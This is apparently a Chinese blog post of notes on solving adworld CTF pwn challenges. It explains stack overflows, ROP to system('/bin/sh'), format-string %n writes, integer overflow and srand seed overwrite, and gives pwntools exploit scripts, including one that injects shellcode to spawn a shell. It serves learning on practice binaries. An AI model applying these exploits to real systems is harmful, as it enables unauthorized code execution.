adworld pwn刷题笔记

发布于 2023-03-02  46 次阅读


get-shell

分析一下文件结构和保护措施

pwn checksec 检查文件保护措施

hello-pwn

bss溢出

  • 关于p64和str
  • https://www.cnblogs.com/lovezxy520/p/15892011.html用pwn脚本时,用str()发送数据是模拟交互输入,比如str(0xfc1)会发送过去 4033 这个字符串,就相当于我们与程序交互时,输入了4033这个数字,所以可以用"%d"来读取,并用小端序存储用p64()发送数据时,是发送的字节流,也就是比特流(二进制流)。本来是01这样表示的,但是ide为了方便观察, 就转换成了\xc1\x0f\x00\x00\x00\x00\x00\x00。发送时,也是按照字节来发,所以要用"%s"来读取

可以看到read读取输入放置在bss段,并且被设置为用户可控,在这种情况下,doword_60106c等于18…刚好只与601068相差4个dd

bss段是程序运行时未初始化全局变量和静态变量所在的段,其中的变量会被自动初始化为0或NULL。在程序运行时,bss段的大小会根据程序中未初始化的全局变量和静态变量的大小而改变。

level-0

通过观察,发现在buf仅80b,但是read可以最多200b,造成栈溢出。

由于要覆盖rbp,需要添加8个字节

from pwn import *                                      # 导入pwntools中pwn包的所有内容

sh = remote('61.147.171.105', 62731)                  # 链接服务器远程交互,等同于nc ip 端口 命令
elf = ELF('/mnt/d/pwn/291721f42a044f50a2aead748d539df0')                                  # 开启本地程序的句柄,以 ELF 文件格式读取 level0 文件
callsystem_addr = elf.symbols['callsystem']            # symbols函数用于获取获取一个标志的地址,这个标志可以是system函数、bss全局变量等
payload = b'a' * 0x80 + b'0' * 8 + p64(callsystem_addr)  # 注意这里的payload填充0x80后还需要填充8个字节(64位)的数据来覆盖rbp,之后才是覆盖retn
sh.sendline(payload)                                   # 接收到Hello, World之后传入payload
sh.interactive()                                       # 接收反弹的shell、进行交互

level-2

ROP链

进入 system 函数之后,正常的调用会有一个返回的地址这里使用 4 个 byte 的 cccc 覆盖掉(因为我们的目的是通过system("bin/sh") 来获取shell,所以函数执行完后的返回地址可以任意);

进入到vulnerable_function,可以看到read用户输入作为return地址,又在函数调用中找到了system,

在hint中又找到了/bin/sh字符

在Windows API中,system()函数的用法与在标准C库中的用法相同。它接受一个字符串参数,该参数包含要执行的命令。该函数将返回一个整数,表示命令的执行结果。

CGfsb

printf格式化字符串漏洞

Stack Canary found说明对栈进行了保护,一般不可覆盖函数返回地址进行攻击。

开启了NX(将数据所在页标识为不可执行),RELRO(设置符号重定向表为只读或在程序启动时就解析并绑定所有动态符号,Partial RELRO说明我们对got表具有写权限

printf(&s); 如下是格式化的几种用法

%d - 十进制 - 输出十进制整数 %s - 字符串 - 从内存中读取字符串 %x - 十六进制 - 输出十六进制数 %c - 字符 - 输出字符 %p - 指针 - 指针地址 %n - 到目前为止所写的字符数

在%n的情况下,&s的值会被改变。

如果printf写成printf(&s)的形式,那么会把s代表的字符串当成format。如果s=“%x%x%x”,就会从format所在地址往下读取3个32bit的值

但是这时候并没有应该在printf堆栈中的格式化字符串,就会导致到main函数堆栈顶端去读取

(&pwnme)+ (b*4)+ %N$n

一个地址占4字节

%N$n:将%n之前printf已经打印的字符个数赋值给printf的第N个参数里的指针所指向的位置

问题主要出在printf(s),我们就直接找到s变量,距离esp 0x28,

guess_num

栈溢出导致随机数种子数据覆盖

需要学习调用标准库去产生随机数

from pwn import *
from ctypes import * 

sh = remote('61.147.171.105', 58191)                                              
elf=ELF("./b59204f56a0545e8a22f8518e749f19f")
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# find pwnme address

payload= b'a'*0x20 + p64(1)
 
sh.sendlineafter("name",payload)
for i in range(10):
    num = str(libc.rand()%6 + 1)
    sh.sendlineafter("number:",num)
sh.interactive()

int_overflow

int整数溢出

在发生整数溢出的时候,计算机会默认读取正常位数位数中的值,比如说256(1 0000 0000)会被读取为0(0000 0000),而1就是溢出(可以利用)的地方。

当然,可以输入数据也需要大于整数范围,这里passwd可以最大输入0x199

注意这里使用ljust来填充长度到255+4,来达到整数溢出

cpgpwn2

gets 栈溢出

name 存放在.bss 0804A080 ,可以被覆盖为/bin/sh

找到system函数地址,return后的gets作为栈溢出点,覆盖eip

from pwn import *
from ctypes import * 

sh = remote('61.147.171.105',59993)                                              
elf=ELF("./53c24fc5522e4a8ea2d9ad0577196b2f")
# find pwnme address
system_addr = elf.symbols['system']
print(p32(system_addr))
name_addr = 0x0804A080

# stackoverflow + ebp over + eip over
payload = b'a' * 0x26 + b'b' * 0x4 + p32(system_addr)  + p32(0) + p32(name_addr)
 
sh.sendlineafter("name\\n","/bin/sh")
sh.sendlineafter("here:\\n", payload)

string

开启了 Canary 保护,栈不可执行,未开启 PIE,一般开了nx和canary就是格式化字符串了

注意观察到mmap函数,一般问题就出在这个地方,mmap将文件映射到内存中并设置rwx属性,可以看到这里明显就是r+x

void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);

这里也明显存在一个(v1)的shellcode执行处

往上倒推,还需要执行前面两个函数

sub_400A70→input(east)→return→sub_400BB9

在第二个函数中,

可以看到明显的由printf(format)导致的格式化字符串漏洞,就是通过这个printf来使之前的shellcode所在函数进行变量覆盖

sub_400A70→input(east)→return→sub_400BB9→input(1)

为了搞懂传入的参数a1到底是啥,去追到最前面main的v4

*v4 = 0x44; 在v4存放的地址处赋值44,_DWORD *v4 ,v4[1] =0x55

v4即a1,那么*a1 == a1[1] 就是要让0x44=0x55

现在开始进行格式化漏洞梳理,即在第二次函数调用的printf处将v4的数值改掉

format距离rsp 0x10,

构造payload来测试一下printf的覆盖位置:

payload = b'B'*4 + b'.%x'*10 ,可以看到是第八个参数位置

这样,我们找到了可控参数的位置,那么如何去改变v4地址中的值呢?

回到格式化字符串的位置,可以看到有一个scanf是输入address,就可以通过这个输入来进行格式化字符串来修改v4

通过动调和提示发现v2在rsp+8的位置(第七个参数),也就在之前format的上方。这就找到了修改点了。

可以通过%85c来输入85个字符,然后%7$n来修改目标地址中的值

并且输入 v4[0] %85c%7$n和v4[1] %65c%7$n 是一样的效果。

v4的地址已经泄漏了。

from pwn import *
from ctypes import * 

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process('./1d3c852354df4609bf8e56fe8e9df316')
#sh = remote('61.147.171.105',59993)
#elf=ELF("./1d3c852354df4609bf8e56fe8e9df316")
p.recvuntil('secret[0] is')

v4_addr = p.recvuntil('\\n')
v4_addr = int(v4_addr[1:-1],16)
# v4_addr1 = p.recvuntil('\\n')
payload = '%85d%7$n'
# payload = b'%65d' + b'$7%n'
# stackoverflow + ebp over + eip over
p.sendlineafter('be:\\n', 'aaa')
p.sendlineafter('up?:\\n', 'east')
p.sendlineafter('leave(0)?:\\n', '1')
p.sendlineafter("address'\\n", str(v4_addr))
p.sendlineafter('And, you wish is:\\n', payload)

在v4地址被输出的时候是使用的%x,address接收%ld,需要提前转换成int。

from pwn import *
from ctypes import * 


context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process('./1d3c852354df4609bf8e56fe8e9df316')
#sh = remote('61.147.171.105',59993)
#elf=ELF("./1d3c852354df4609bf8e56fe8e9df316")
p.recvuntil('secret[0] is')
v4_addr = p.recvuntil('\n')
v4_addr = int(v4_addr[1:-1],16)

p.recvuntil('secret[1] is')
v4_addr1 = p.recvuntil('\n')
print(v4_addr1)
v4_addr1 = int(v4_addr1[1:-1],16)
# payload = '%85d%7$n'
payload = '%68d%7$n'
p.sendlineafter('be:\n', 'aaa')
p.sendlineafter('up?:\n', 'east')
p.sendlineafter('leave(0)?:\n', '1')
p.sendlineafter("address'\n", str(v4_addr1))
p.sendlineafter('And, you wish is:\n', payload)

可以看到达到一样的效果,最后附上shellcode即可


from pwn import *
from ctypes import * 


context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process('./1d3c852354df4609bf8e56fe8e9df316')
#sh = remote('61.147.171.105',59993)
#elf=ELF("./1d3c852354df4609bf8e56fe8e9df316")
p.recvuntil('secret[0] is')
v4_addr = p.recvuntil('\n')
v4_addr = int(v4_addr[1:-1],16)

p.recvuntil('secret[1] is')
v4_addr1 = p.recvuntil('\n')
shellcode=asm(shellcraft.sh())
v4_addr1 = int(v4_addr1[1:-1],16)
# payload = '%85d%7$n'
payload = '%68d%7$n'
p.sendlineafter('be:\n', 'aaa')
p.sendlineafter('up?:\n', 'east')
p.sendlineafter('leave(0)?:\n', '1')
p.sendlineafter("address'\n", str(v4_addr1))
p.sendlineafter('And, you wish is:\n', payload)

p.sendlineafter('SPELL', shellcode)
p.interactive()

间桐桜のお菓子屋さん